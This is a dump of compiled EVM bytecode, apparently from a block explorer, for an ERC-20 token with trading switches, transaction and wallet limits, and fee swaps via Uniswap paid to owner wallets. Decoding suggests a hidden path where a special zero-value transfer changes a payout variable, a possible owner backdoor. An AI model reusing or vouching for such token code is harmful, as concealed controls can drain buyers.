6de57888601518255948401946001909101908401620006bd565b5085821015620006fd5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620007645781600019048211156200074857620007486200070d565b808516156200075657918102915b93841c939080029062000728565b509250929050565b6000826200077d57506001620004ad565b816200078c57506000620004ad565b8160018114620007a55760028114620007b057620007d0565b6001915050620004ad565b60ff841115620007c457620007c46200070d565b50506001821b620004ad565b5060208310610133831016604e8410600b8410161715620007f5575081810a620004ad565b62000801838362000723565b80600019048211156200081857620008186200070d565b029392505050565b6000620004aa60ff8416836200076c565b8082028115828204841417620004ad57620004ad6200070d565b6000826200086957634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620004ad57620004ad6200070d565b600060208083528351808285015260005b81811015620008b35785810183015185820160400152820162000895565b506000604082860101526040601f19601f8301168501019250505092915050565b60805160a05161217762000908600039600081816102ca01526109860152600081816103bb01526109c101526121776000f3fe6080604052600436106102815760003560e01c806382eefb431161014f578063a8b08982116100c1578063dc44b6a01161007a578063dc44b6a0146107a1578063dd62ed3e146107b7578063f0cd1dac146107fd578063f2fde38b14610813578063f680f79914610833578063f872858a1461084957600080fd5b8063a8b08982146106e3578063a9059cbb14610703578063c5d2418914610723578063c860795214610739578063c867d60b1461074f578063da00097d1461077f57600080fd5b80638da5cb5b116101135780638da5cb5b146106355780638ea5220f1461065357806395d89b411461067357806398e944c814610688578063a457c2d7146106ad578063a7251ef6146106cd57600080fd5b806382eefb43146105a4578063835ed477146105ba57806385261485146105cf57806388790a68146105ef5780638b42507f1461060557600080fd5b80633ecad271116101f357806359927044116101ac578063599270441461050557806360a118bc146105255780636c0a24eb1461052d57806370a0823114610543578063715018a6146105795780637d1db4a51461058e57600080fd5b80633ecad271146104345780634a74bb02146104645780634ada218b146104855780635194f9bf146104a85780635342acb4146104be57806354c157a7146104ee57600080fd5b806323555d571161024557806323555d571461037357806323b872dd1461038957806327c8f835146103a95780632b112e49146103dd578063313ce567146103f2578063395093511461041457600080fd5b806306fdde031461028d5780630930907b146102b8578063095ea7b3146103045780631694505e1461033457806318160ddd1461035457600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a2610868565b6040516102af9190611daa565b60405180910390f35b3480156102c457600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102af565b34801561031057600080fd5b5061032461031f366004611e10565b6108fa565b60405190151581526020016102af565b34801561034057600080fd5b506001546102ec906001600160a01b031681565b34801561036057600080fd5b50600e545b6040519081526020016102af565b34801561037f57600080fd5b5061036560175481565b34801561039557600080fd5b506103246103a4366004611e3c565b610911565b3480156103b557600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000000081565b3480156103e957600080fd5b5061036561097c565b3480156103fe57600080fd5b5060055460405160ff90911681526020016102af565b34801561042057600080fd5b5061032461042f366004611e10565b610a0f565b34801561044057600080fd5b5061032461044f366004611e7d565b60096020526000908152604090205460ff1681565b34801561047057600080fd5b50601b54610324906301000000900460ff1681565b34801561049157600080fd5b50601b546103249065010000000000900460ff1681565b3480156104b457600080fd5b50610365601a5481565b3480156104ca57600080fd5b506103246104d9366004611e7d565b60086020526000908152604090205460ff1681565b3480156104fa57600080fd5b50610503610a45565b005b34801561051157600080fd5b506006546102ec906001600160a01b031681565b610503610a85565b34801561053957600080fd5b5061036560105481565b34801561054f57600080fd5b5061036561055e366004611e7d565b6001600160a01b03166000908152600a602052604090205490565b34801561058557600080fd5b50610503610d3f565b34801561059a57600080fd5b50610365600f5481565b3480156105b057600080fd5b5061036560145481565b3480156105c657600080fd5b50610503610db9565b3480156105db57600080fd5b50601b546103249062010000900460ff1681565b3480156105fb57600080fd5b5061036560185481565b34801561061157600080fd5b50610324610620366004611e7d565b600d6020526000908152604090205460ff1681565b34801561064157600080fd5b506000546001600160a01b03166102ec565b34801561065f57600080fd5b506007546102ec906001600160a01b031681565b34801561067f57600080fd5b506102a2610dfc565b34801561069457600080fd5b506005546102ec9061010090046001600160a01b031681565b3480156106b957600080fd5b506103246106c8366004611e10565b610e0b565b3480156106d957600080fd5b5061036560115481565b3480156106ef57600080fd5b506002546102ec906001600160a01b031681565b34801561070f57600080fd5b5061032461071e366004611e10565b610e5a565b34801561072f57600080fd5b5061036560165481565b34801561074557600080fd5b5061036560195481565b34801561075b57600080fd5b5061032461076a366004611e7d565b600c6020526000908152604090205460ff1681565b34801561078b57600080fd5b50601b5461032490640100000000900460ff1681565b3480156107ad57600080fd5b5061036560155481565b3480156107c357600080fd5b506103656107d2366004611e9a565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b34801561080957600080fd5b5061036560135481565b34801561081f57600080fd5b5061050361082e366004611e7d565b610e67565b34801561083f57600080fd5b5061036560125481565b34801561085557600080fd5b50601b5461032490610100900460ff1681565b60606003805461087790611ed3565b80601f01602080910402602001604051908101604052809291908181526020018280546108a390611ed3565b80156108f05780601f106108c5576101008083540402835291602001916108f0565b820191906000526020600020905b8154815290600101906020018083116108d357829003601f168201915b5050505050905090565b6000610907338484611074565b5060015b92915050565b600061091e848484611198565b50610971843361096c856040518060600160405280602881526020016120f5602891396001600160a01b038a166000908152600b6020908152604080832033845290915290205491906116aa565b611074565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166000908152600a6020526040812054610a0a90610a046109fb7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166000908152600a602052604090205490565b600e54906116e4565b906116e4565b905090565b336000818152600b602090815260408083206001600160a01b0387168452909152812054909161090791859061096c9086611015565b6000546001600160a01b03163314610a785760405162461bcd60e51b8152600401610a6f90611f0d565b60405180910390fd5b600e54600f819055601055565b6000546001600160a01b03163314610aaf5760405162461bcd60e51b8152600401610a6f90611f0d565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2a9190611f42565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9b9190611f42565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610be8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0c9190611f42565b600280546001600160a01b039283166001600160a01b031991821617825560018054858516921682178155306000818152600b60209081526040808320958352948152848220600019905585548716825260098152848220805460ff199081168617909155865488168352600c82528583208054821686179055955487168252600d81528482208054909616841790955560058054336101008102610100600160a81b0319909216919091179091559254828252600a90955283812054935163f305d71960e01b8152949095169463f305d719943494610cf6949092918291904290600401611f5f565b60606040518083038185885af1158015610d14573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d399190611f9a565b50505050565b6000546001600160a01b03163314610d695760405162461bcd60e51b8152600401610a6f90611f0d565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610de35760405162461bcd60e51b8152600401610a6f90611f0d565b601b805465ff0000000000191665010000000000179055565b60606004805461087790611ed3565b6000610907338461096c8560405180606001604052806025815260200161211d60259139336000908152600b602090815260408083206001600160a01b038d16845290915290205491906116aa565b6000610971338484611198565b6000546001600160a01b03163314610e915760405162461bcd60e51b8152600401610a6f90611f0d565b6001600160a01b038116610ef65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a6f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610f635750600061090b565b6000610f6f8385611fde565b905082610f7c8583611ff5565b146109755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a6f565b600061097583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611726565b6000806110228385612017565b9050838110156109755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a6f565b6001600160a01b0383166110d65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a6f565b6001600160a01b0382166111375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a6f565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166111fe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a6f565b6001600160a01b0383166112605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a6f565b6001600160a01b03841660009081526008602052604090205460ff161580156112a257506001600160a01b03831660009081526008602052604090205460ff16155b156112f857601b5465010000000000900460ff166112f85760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610a6f565b6001600160a01b03841660009081526008602052604090205460ff168061133757506001600160a01b03831660009081526008602052604090205460ff165b156113645761135d84848461134c8888611754565b61135657856117ad565b60006117ad565b9050610975565b6001600160a01b0384166000908152600d602052604090205460ff161580156113a657506001600160a01b0383166000908152600d602052604090205460ff16155b80156113ba5750601b5462010000900460ff165b1561142257600f548211156114225760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a6f565b306000908152600a6020526040902054601154811080159081906114495750601b5460ff16155b801561146e57506001600160a01b03861660009081526009602052604090205460ff16155b80156114835750601b546301000000900460ff165b156114aa57601b54640100000000900460ff16156114a15760115491505b6114aa826118af565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600a90915291909120546114fc9186906116aa565b6001600160a01b0387166000908152600a6020908152604080832093909355600890529081205460ff168061154957506001600160a01b03861660009081526008602052604090205460ff165b61155d57611558878787611a6a565b61155f565b845b601b54909150610100900460ff16801561159257506001600160a01b0386166000908152600c602052604090205460ff16155b1561161f576010546115c3826115bd896001600160a01b03166000908152600a602052604090205490565b90611015565b111561161f5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a6f565b6001600160a01b0386166000908152600a60205260409020546116429082611015565b6001600160a01b038088166000818152600a602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116969085815260200190565b60405180910390a360019350505050610975565b600081848411156116ce5760405162461bcd60e51b8152600401610a6f9190611daa565b5060006116db848661202a565b95945050505050565b600061097583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116aa565b600081836117475760405162461bcd60e51b8152600401610a6f9190611daa565b5060006116db8486611ff5565b6002546000906001600160a01b03838116911614801561178157506007546001600160a01b038481169116145b801561179557506001600160a01b03831615155b80156109755750506001600160a01b03161515919050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387166000908152600a909152918220546117fe9184906116aa565b6001600160a01b038087166000908152600a6020526040808220939093559086168152205461182d9084611015565b6001600160a01b0385166000908152600a6020526040812091909155829003611857576103e86012555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161189c91815260200190565b60405180910390a3506001949350505050565b601b805460ff191660011790556014546013546000916118cf9190611015565b905060006118ea60185460155461101590919063ffffffff16565b9050600061190560195460165461101590919063ffffffff16565b90506000611920600261191a86818988610f51565b90610fd3565b9050600061192e86836116e4565b90504761193a82611b70565b600061194647836116e4565b9050600061195f611958886002610fd3565b89906116e4565b90506000611974600261191a8481878d610f51565b9050600061199b8361191a6119946012548c610f5190919063ffffffff16565b8790610f51565b905060006119ad82610a0487866116e4565b905081156119f1576006546040516001600160a01b039091169083156108fc029084906000818181858888f193505050501580156119ef573d6000803e3d6000fd5b505b8015611a33576007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611a31573d6000803e3d6000fd5b505b600083118015611a435750600088115b15611a5257611a528884611d03565b5050601b805460ff1916905550505050505050505050565b6001600160a01b038316600090815260096020526040812054819060ff1615611aae57611aa7606461191a60135486610f5190919063ffffffff16565b9050611aec565b6001600160a01b03841660009081526009602052604090205460ff1615611aec57611ae9606461191a60145486610f5190919063ffffffff16565b90505b8015611b6657306000908152600a6020526040902054611b0c9082611015565b306000818152600a6020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b5d9085815260200190565b60405180910390a35b6116db83826116e4565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611ba557611ba561203d565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611bfe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c229190611f42565b81600181518110611c3557611c3561203d565b6001600160a01b039283166020918202929092010152600154611c5b9130911684611074565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c94908590600090869030904290600401612097565b600060405180830381600087803b158015611cae57600080fd5b505af1158015611cc2573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611cf79291906120d3565b60405180910390a15050565b600154611d1b9030906001600160a01b031684611074565b60015460055460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611d6092309289926000928392610100900416904290600401611f5f565b60606040518083038185885af1158015611d7e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611da39190611f9a565b5050505050565b600060208083528351808285015260005b81811015611dd757858101830151858201604001528201611dbb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611e0d57600080fd5b50565b60008060408385031215611e2357600080fd5b8235611e2e81611df8565b946020939093013593505050565b600080600060608486031215611e5157600080fd5b8335611e5c81611df8565b92506020840135611e6c81611df8565b929592945050506040919091013590565b600060208284031215611e8f57600080fd5b813561097581611df8565b60008060408385031215611ead57600080fd5b8235611eb881611df8565b91506020830135611ec881611df8565b809150509250929050565b600181811c90821680611ee757607f821691505b602082108103611f0757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611f5457600080fd5b815161097581611df8565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611faf57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761090b5761090b611fc8565b60008261201257634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111561090b5761090b611fc8565b8181038181111561090b5761090b611fc8565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b8381101561208c5781516001600160a01b031687529582019590820190600101612067565b509495945050505050565b85815284602082015260a0604082015260006120b660a0830186612053565b6001600160a01b0394909416606083015250608001529392505050565b8281526040602082015260006120ec6040830184612053565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220407f61cfb2e9973e037ca81cc06941d420dbc894be7819105369927caab4d96564736f6c63430008110033

Deployed Bytecode

0x6080604052600436106102815760003560e01c806382eefb431161014f578063a8b08982116100c1578063dc44b6a01161007a578063dc44b6a0146107a1578063dd62ed3e146107b7578063f0cd1dac146107fd578063f2fde38b14610813578063f680f79914610833578063f872858a1461084957600080fd5b8063a8b08982146106e3578063a9059cbb14610703578063c5d2418914610723578063c860795214610739578063c867d60b1461074f578063da00097d1461077f57600080fd5b80638da5cb5b116101135780638da5cb5b146106355780638ea5220f1461065357806395d89b411461067357806398e944c814610688578063a457c2d7146106ad578063a7251ef6146106cd57600080fd5b806382eefb43146105a4578063835ed477146105ba57806385261485146105cf57806388790a68146105ef5780638b42507f1461060557600080fd5b80633ecad271116101f357806359927044116101ac578063599270441461050557806360a118bc146105255780636c0a24eb1461052d57806370a0823114610543578063715018a6146105795780637d1db4a51461058e57600080fd5b80633ecad271146104345780634a74bb02146104645780634ada218b146104855780635194f9bf146104a85780635342acb4146104be57806354c157a7146104ee57600080fd5b806323555d571161024557806323555d571461037357806323b872dd1461038957806327c8f835146103a95780632b112e49146103dd578063313ce567146103f2578063395093511461041457600080fd5b806306fdde031461028d5780630930907b146102b8578063095ea7b3146103045780631694505e1461033457806318160ddd1461035457600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a2610868565b6040516102af9190611daa565b60405180910390f35b3480156102c457600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102af565b34801561031057600080fd5b5061032461031f366004611e10565b6108fa565b60405190151581526020016102af565b34801561034057600080fd5b506001546102ec906001600160a01b031681565b34801561036057600080fd5b50600e545b6040519081526020016102af565b34801561037f57600080fd5b5061036560175481565b34801561039557600080fd5b506103246103a4366004611e3c565b610911565b3480156103b557600080fd5b506102ec7f000000000000000000000000000000000000000000000000000000000000dead81565b3480156103e957600080fd5b5061036561097c565b3480156103fe57600080fd5b5060055460405160ff90911681526020016102af565b34801561042057600080fd5b5061032461042f366004611e10565b610a0f565b34801561044057600080fd5b5061032461044f366004611e7d565b60096020526000908152604090205460ff1681565b34801561047057600080fd5b50601b54610324906301000000900460ff1681565b34801561049157600080fd5b50601b546103249065010000000000900460ff1681565b3480156104b457600080fd5b50610365601a5481565b3480156104ca57600080fd5b506103246104d9366004611e7d565b60086020526000908152604090205460ff1681565b3480156104fa57600080fd5b50610503610a45565b005b34801561051157600080fd5b506006546102ec906001600160a01b031681565b610503610a85565b34801561053957600080fd5b5061036560105481565b34801561054f57600080fd5b5061036561055e366004611e7d565b6001600160a01b03166000908152600a602052604090205490565b34801561058557600080fd5b50610503610d3f565b34801561059a57600080fd5b50610365600f5481565b3480156105b057600080fd5b5061036560145481565b3480156105c657600080fd5b50610503610db9565b3480156105db57600080fd5b50601b546103249062010000900460ff1681565b3480156105fb57600080fd5b5061036560185481565b34801561061157600080fd5b50610324610620366004611e7d565b600d6020526000908152604090205460ff1681565b34801561064157600080fd5b506000546001600160a01b03166102ec565b34801561065f57600080fd5b506007546102ec906001600160a01b031681565b34801561067f57600080fd5b506102a2610dfc565b34801561069457600080fd5b506005546102ec9061010090046001600160a01b031681565b3480156106b957600080fd5b506103246106c8366004611e10565b610e0b565b3480156106d957600080fd5b5061036560115481565b3480156106ef57600080fd5b506002546102ec906001600160a01b031681565b34801561070f57600080fd5b5061032461071e366004611e10565b610e5a565b34801561072f57600080fd5b5061036560165481565b34801561074557600080fd5b5061036560195481565b34801561075b57600080fd5b5061032461076a366004611e7d565b600c6020526000908152604090205460ff1681565b34801561078b57600080fd5b50601b5461032490640100000000900460ff1681565b3480156107ad57600080fd5b5061036560155481565b3480156107c357600080fd5b506103656107d2366004611e9a565b6001600160a01b039182166000908152600b6020908152604080832093909416825291909152205490565b34801561080957600080fd5b5061036560135481565b34801561081f57600080fd5b5061050361082e366004611e7d565b610e67565b34801561083f57600080fd5b5061036560125481565b34801561085557600080fd5b50601b5461032490610100900460ff1681565b60606003805461087790611ed3565b80601f01602080910402602001604051908101604052809291908181526020018280546108a390611ed3565b80156108f05780601f106108c5576101008083540402835291602001916108f0565b820191906000526020600020905b8154815290600101906020018083116108d357829003601f168201915b5050505050905090565b6000610907338484611074565b5060015b92915050565b600061091e848484611198565b50610971843361096c856040518060600160405280602881526020016120f5602891396001600160a01b038a166000908152600b6020908152604080832033845290915290205491906116aa565b611074565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166000908152600a6020526040812054610a0a90610a046109fb7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b03166000908152600a602052604090205490565b600e54906116e4565b906116e4565b905090565b336000818152600b602090815260408083206001600160a01b0387168452909152812054909161090791859061096c9086611015565b6000546001600160a01b03163314610a785760405162461bcd60e51b8152600401610a6f90611f0d565b60405180910390fd5b600e54600f819055601055565b6000546001600160a01b03163314610aaf5760405162461bcd60e51b8152600401610a6f90611f0d565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2a9190611f42565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b9b9190611f42565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610be8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0c9190611f42565b600280546001600160a01b039283166001600160a01b031991821617825560018054858516921682178155306000818152600b60209081526040808320958352948152848220600019905585548716825260098152848220805460ff199081168617909155865488168352600c82528583208054821686179055955487168252600d81528482208054909616841790955560058054336101008102610100600160a81b0319909216919091179091559254828252600a90955283812054935163f305d71960e01b8152949095169463f305d719943494610cf6949092918291904290600401611f5f565b60606040518083038185885af1158015610d14573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d399190611f9a565b50505050565b6000546001600160a01b03163314610d695760405162461bcd60e51b8152600401610a6f90611f0d565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b03163314610de35760405162461bcd60e51b8152600401610a6f90611f0d565b601b805465ff0000000000191665010000000000179055565b60606004805461087790611ed3565b6000610907338461096c8560405180606001604052806025815260200161211d60259139336000908152600b602090815260408083206001600160a01b038d16845290915290205491906116aa565b6000610971338484611198565b6000546001600160a01b03163314610e915760405162461bcd60e51b8152600401610a6f90611f0d565b6001600160a01b038116610ef65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a6f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610f635750600061090b565b6000610f6f8385611fde565b905082610f7c8583611ff5565b146109755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a6f565b600061097583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611726565b6000806110228385612017565b9050838110156109755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a6f565b6001600160a01b0383166110d65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a6f565b6001600160a01b0382166111375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a6f565b6001600160a01b038381166000818152600b602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166111fe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a6f565b6001600160a01b0383166112605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a6f565b6001600160a01b03841660009081526008602052604090205460ff161580156112a257506001600160a01b03831660009081526008602052604090205460ff16155b156112f857601b5465010000000000900460ff166112f85760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610a6f565b6001600160a01b03841660009081526008602052604090205460ff168061133757506001600160a01b03831660009081526008602052604090205460ff165b156113645761135d84848461134c8888611754565b61135657856117ad565b60006117ad565b9050610975565b6001600160a01b0384166000908152600d602052604090205460ff161580156113a657506001600160a01b0383166000908152600d602052604090205460ff16155b80156113ba5750601b5462010000900460ff165b1561142257600f548211156114225760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a6f565b306000908152600a6020526040902054601154811080159081906114495750601b5460ff16155b801561146e57506001600160a01b03861660009081526009602052604090205460ff16155b80156114835750601b546301000000900460ff165b156114aa57601b54640100000000900460ff16156114a15760115491505b6114aa826118af565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600a90915291909120546114fc9186906116aa565b6001600160a01b0387166000908152600a6020908152604080832093909355600890529081205460ff168061154957506001600160a01b03861660009081526008602052604090205460ff165b61155d57611558878787611a6a565b61155f565b845b601b54909150610100900460ff16801561159257506001600160a01b0386166000908152600c602052604090205460ff16155b1561161f576010546115c3826115bd896001600160a01b03166000908152600a602052604090205490565b90611015565b111561161f5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a6f565b6001600160a01b0386166000908152600a60205260409020546116429082611015565b6001600160a01b038088166000818152600a602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116969085815260200190565b60405180910390a360019350505050610975565b600081848411156116ce5760405162461bcd60e51b8152600401610a6f9190611daa565b5060006116db848661202a565b95945050505050565b600061097583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116aa565b600081836117475760405162461bcd60e51b8152600401610a6f9190611daa565b5060006116db8486611ff5565b6002546000906001600160a01b03838116911614801561178157506007546001600160a01b038481169116145b801561179557506001600160a01b03831615155b80156109755750506001600160a01b03161515919050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0387166000908152600a909152918220546117fe9184906116aa565b6001600160a01b038087166000908152600a6020526040808220939093559086168152205461182d9084611015565b6001600160a01b0385166000908152600a6020526040812091909155829003611857576103e86012555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161189c91815260200190565b60405180910390a3506001949350505050565b601b805460ff191660011790556014546013546000916118cf9190611015565b905060006118ea60185460155461101590919063ffffffff16565b9050600061190560195460165461101590919063ffffffff16565b90506000611920600261191a86818988610f51565b90610fd3565b9050600061192e86836116e4565b90504761193a82611b70565b600061194647836116e4565b9050600061195f611958886002610fd3565b89906116e4565b90506000611974600261191a8481878d610f51565b9050600061199b8361191a6119946012548c610f5190919063ffffffff16565b8790610f51565b905060006119ad82610a0487866116e4565b905081156119f1576006546040516001600160a01b039091169083156108fc029084906000818181858888f193505050501580156119ef573d6000803e3d6000fd5b505b8015611a33576007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611a31573d6000803e3d6000fd5b505b600083118015611a435750600088115b15611a5257611a528884611d03565b5050601b805460ff1916905550505050505050505050565b6001600160a01b038316600090815260096020526040812054819060ff1615611aae57611aa7606461191a60135486610f5190919063ffffffff16565b9050611aec565b6001600160a01b03841660009081526009602052604090205460ff1615611aec57611ae9606461191a60145486610f5190919063ffffffff16565b90505b8015611b6657306000908152600a6020526040902054611b0c9082611015565b306000818152600a6020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611b5d9085815260200190565b60405180910390a35b6116db83826116e4565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611ba557611ba561203d565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611bfe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c229190611f42565b81600181518110611c3557611c3561203d565b6001600160a01b039283166020918202929092010152600154611c5b9130911684611074565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c94908590600090869030904290600401612097565b600060405180830381600087803b158015611cae57600080fd5b505af1158015611cc2573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611cf79291906120d3565b60405180910390a15050565b600154611d1b9030906001600160a01b031684611074565b60015460055460405163f305d71960e01b81526001600160a01b039283169263f305d719928592611d6092309289926000928392610100900416904290600401611f5f565b60606040518083038185885af1158015611d7e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611da39190611f9a565b5050505050565b600060208083528351808285015260005b81811015611dd757858101830151858201604001528201611dbb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611e0d57600080fd5b50565b60008060408385031215611e2357600080fd5b8235611e2e81611df8565b946020939093013593505050565b600080600060608486031215611e5157600080fd5b8335611e5c81611df8565b92506020840135611e6c81611df8565b929592945050506040919091013590565b600060208284031215611e8f57600080fd5b813561097581611df8565b60008060408385031215611ead57600080fd5b8235611eb881611df8565b91506020830135611ec881611df8565b80915050925092905056